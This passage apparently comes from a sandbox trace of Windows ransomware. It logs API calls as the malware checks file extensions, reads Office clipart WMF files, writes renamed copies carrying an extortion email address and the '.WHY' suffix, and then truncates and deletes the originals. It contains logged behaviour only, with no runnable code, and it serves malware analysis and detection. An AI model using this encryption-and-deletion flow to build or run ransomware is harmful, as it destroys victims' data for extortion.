4 [0279.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.349] lstrlenW (lpString=".docx") returned 5 [0279.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.349] lstrlenW (lpString=".pdf") returned 4 [0279.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.349] lstrlenW (lpString=".xls") returned 4 [0279.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.349] lstrlenW (lpString=".xlsx") returned 5 [0279.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.349] lstrlenW (lpString=".ppt") returned 4 [0279.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.349] lstrlenW (lpString=".zip") returned 4 [0279.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.350] lstrlenW (lpString=".rar") returned 4 [0279.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.350] lstrlenW (lpString=".bz2") returned 4 [0279.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.350] lstrlenW (lpString=".7z") returned 3 [0279.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.350] lstrlenW (lpString=".dbf") returned 4 [0279.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.350] lstrlenW (lpString=".1cd") returned 4 [0279.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.351] lstrlenW (lpString=".jpg") returned 4 [0279.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.351] lstrlenW (lpString=".doc") returned 4 [0279.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.351] lstrlenW (lpString=".docx") returned 5 [0279.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.351] lstrlenW (lpString=".pdf") returned 4 [0279.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.352] lstrlenW (lpString=".xls") returned 4 [0279.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.352] lstrlenW (lpString=".xlsx") returned 5 [0279.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.352] lstrlenW (lpString=".ppt") returned 4 [0279.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.352] lstrlenW (lpString=".zip") returned 4 [0279.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.352] lstrlenW (lpString=".rar") returned 4 [0279.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.352] lstrlenW (lpString=".bz2") returned 4 [0279.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.352] lstrlenW (lpString=".7z") returned 3 [0279.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.353] lstrlenW (lpString=".dbf") returned 4 [0279.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.353] lstrlenW (lpString=".1cd") returned 4 [0279.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.353] lstrlenW (lpString=".jpg") returned 4 [0279.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.353] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0279.354] lstrlenW (lpString="BL00122_.WMF") returned 12 [0279.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0279.373] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=10146) returned 1 [0279.373] CloseHandle (hObject=0x258) returned 1 [0279.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0279.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0279.379] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0279.379] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0279.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0279.380] GetLastError () returned 0x0 [0279.380] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x27a2, lpOverlapped=0x0) returned 1 [0279.386] WriteFile (in: hFile=0x320, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0279.391] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0279.391] WriteFile (in: hFile=0x320, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0279.391] SetEndOfFile (hFile=0x320) returned 1 [0279.391] CloseHandle (hObject=0x320) returned 1 [0279.393] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0279.393] SetEndOfFile (hFile=0x258) returned 1 [0279.400] CloseHandle (hObject=0x258) returned 1 [0279.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0279.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0279.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.403] lstrlenW (lpString=".doc") returned 4 [0279.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.403] lstrlenW (lpString=".docx") returned 5 [0279.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.403] lstrlenW (lpString=".pdf") returned 4 [0279.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.403] lstrlenW (lpString=".xls") returned 4 [0279.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.403] lstrlenW (lpString=".xlsx") returned 5 [0279.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.404] lstrlenW (lpString=".ppt") returned 4 [0279.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.404] lstrlenW (lpString=".zip") returned 4 [0279.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.404] lstrlenW (lpString=".rar") returned 4 [0279.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.404] lstrlenW (lpString=".bz2") returned 4 [0279.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.404] lstrlenW (lpString=".7z") returned 3 [0279.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.404] lstrlenW (lpString=".dbf") returned 4 [0279.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.405] lstrlenW (lpString=".1cd") returned 4 [0279.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.405] lstrlenW (lpString=".jpg") returned 4 [0279.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.405] lstrlenW (lpString=".doc") returned 4 [0279.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.406] lstrlenW (lpString=".docx") returned 5 [0279.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.409] lstrlenW (lpString=".pdf") returned 4 [0279.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.409] lstrlenW (lpString=".xls") returned 4 [0279.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.409] lstrlenW (lpString=".xlsx") returned 5 [0279.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.409] lstrlenW (lpString=".ppt") returned 4 [0279.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.409] lstrlenW (lpString=".zip") returned 4 [0279.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.410] lstrlenW (lpString=".rar") returned 4 [0279.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.410] lstrlenW (lpString=".bz2") returned 4 [0279.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.410] lstrlenW (lpString=".7z") returned 3 [0279.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.410] lstrlenW (lpString=".dbf") returned 4 [0279.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.410] lstrlenW (lpString=".1cd") returned 4 [0279.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0279.411] lstrlenW (lpString=".jpg") returned 4 [0279.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.411] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0279.411] lstrlenW (lpString="BL00130_.WMF") returned 12 [0279.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0279.412] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1464) returned 1 [0279.412] CloseHandle (hObject=0x258) returned 1 [0279.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0279.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0279.413] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0279.414] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0279.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0279.414] GetLastError () returned 0x0 [0279.414] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x5b8, lpOverlapped=0x0) returned 1 [0279.880] WriteFile (in: hFile=0x320, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0279.885] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0279.886] WriteFile (in: hFile=0x320, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0279.886] SetEndOfFile (hFile=0x320) returned 1 [0279.886] CloseHandle (hObject=0x320) returned 1 [0279.890] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0279.890] SetEndOfFile (hFile=0x258) returned 1 [0279.897] CloseHandle (hObject=0x258) returned 1 [0279.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0280.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0280.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.289] lstrlenW (lpString=".doc") returned 4 [0280.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.289] lstrlenW (lpString=".docx") returned 5 [0280.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.290] lstrlenW (lpString=".pdf") returned 4 [0280.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.290] lstrlenW (lpString=".xls") returned 4 [0280.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.290] lstrlenW (lpString=".xlsx") returned 5 [0280.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.291] lstrlenW (lpString=".ppt") returned 4 [0280.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.291] lstrlenW (lpString=".zip") returned 4 [0280.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.291] lstrlenW (lpString=".rar") returned 4 [0280.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString=".bz2") returned 4 [0280.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.292] lstrlenW (lpString=".7z") returned 3 [0280.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.293] lstrlenW (lpString=".dbf") returned 4 [0280.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.293] lstrlenW (lpString=".1cd") returned 4 [0280.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.294] lstrlenW (lpString=".jpg") returned 4 [0280.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.294] lstrlenW (lpString=".doc") returned 4 [0280.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.294] lstrlenW (lpString=".docx") returned 5 [0280.294] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.295] lstrlenW (lpString=".pdf") returned 4 [0280.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.295] lstrlenW (lpString=".xls") returned 4 [0280.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.295] lstrlenW (lpString=".xlsx") returned 5 [0280.295] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.295] lstrlenW (lpString=".ppt") returned 4 [0280.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.295] lstrlenW (lpString=".zip") returned 4 [0280.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.295] lstrlenW (lpString=".rar") returned 4 [0280.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.296] lstrlenW (lpString=".bz2") returned 4 [0280.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.296] lstrlenW (lpString=".7z") returned 3 [0280.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.296] lstrlenW (lpString=".dbf") returned 4 [0280.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.296] lstrlenW (lpString=".1cd") returned 4 [0280.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0280.297] lstrlenW (lpString=".jpg") returned 4 [0280.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.297] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0280.298] lstrlenW (lpString="BL00152_.WMF") returned 12 [0280.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0280.301] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1516) returned 1 [0280.301] CloseHandle (hObject=0x3c8) returned 1 [0280.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0280.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0280.303] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0280.303] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0280.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0280.305] GetLastError () returned 0x0 [0280.305] ReadFile (in: hFile=0x3c8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x5ec, lpOverlapped=0x0) returned 1 [0280.312] WriteFile (in: hFile=0x320, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0280.317] ReadFile (in: hFile=0x3c8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0280.317] WriteFile (in: hFile=0x320, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0280.318] SetEndOfFile (hFile=0x320) returned 1 [0280.318] CloseHandle (hObject=0x320) returned 1 [0280.324] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0280.324] SetEndOfFile (hFile=0x3c8) returned 1 [0280.998] CloseHandle (hObject=0x3c8) returned 1 [0280.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0281.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0281.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0281.005] lstrlenW (lpString=".doc") returned 4 [0281.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.005] lstrlenW (lpString=".docx") returned 5 [0281.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.005] lstrlenW (lpString=".pdf") returned 4 [0281.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.005] lstrlenW (lpString=".xls") returned 4 [0281.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.006] lstrlenW (lpString=".xlsx") returned 5 [0281.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.006] lstrlenW (lpString=".ppt") returned 4 [0281.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.006] lstrlenW (lpString="C:\\Program Files\\Microsoft 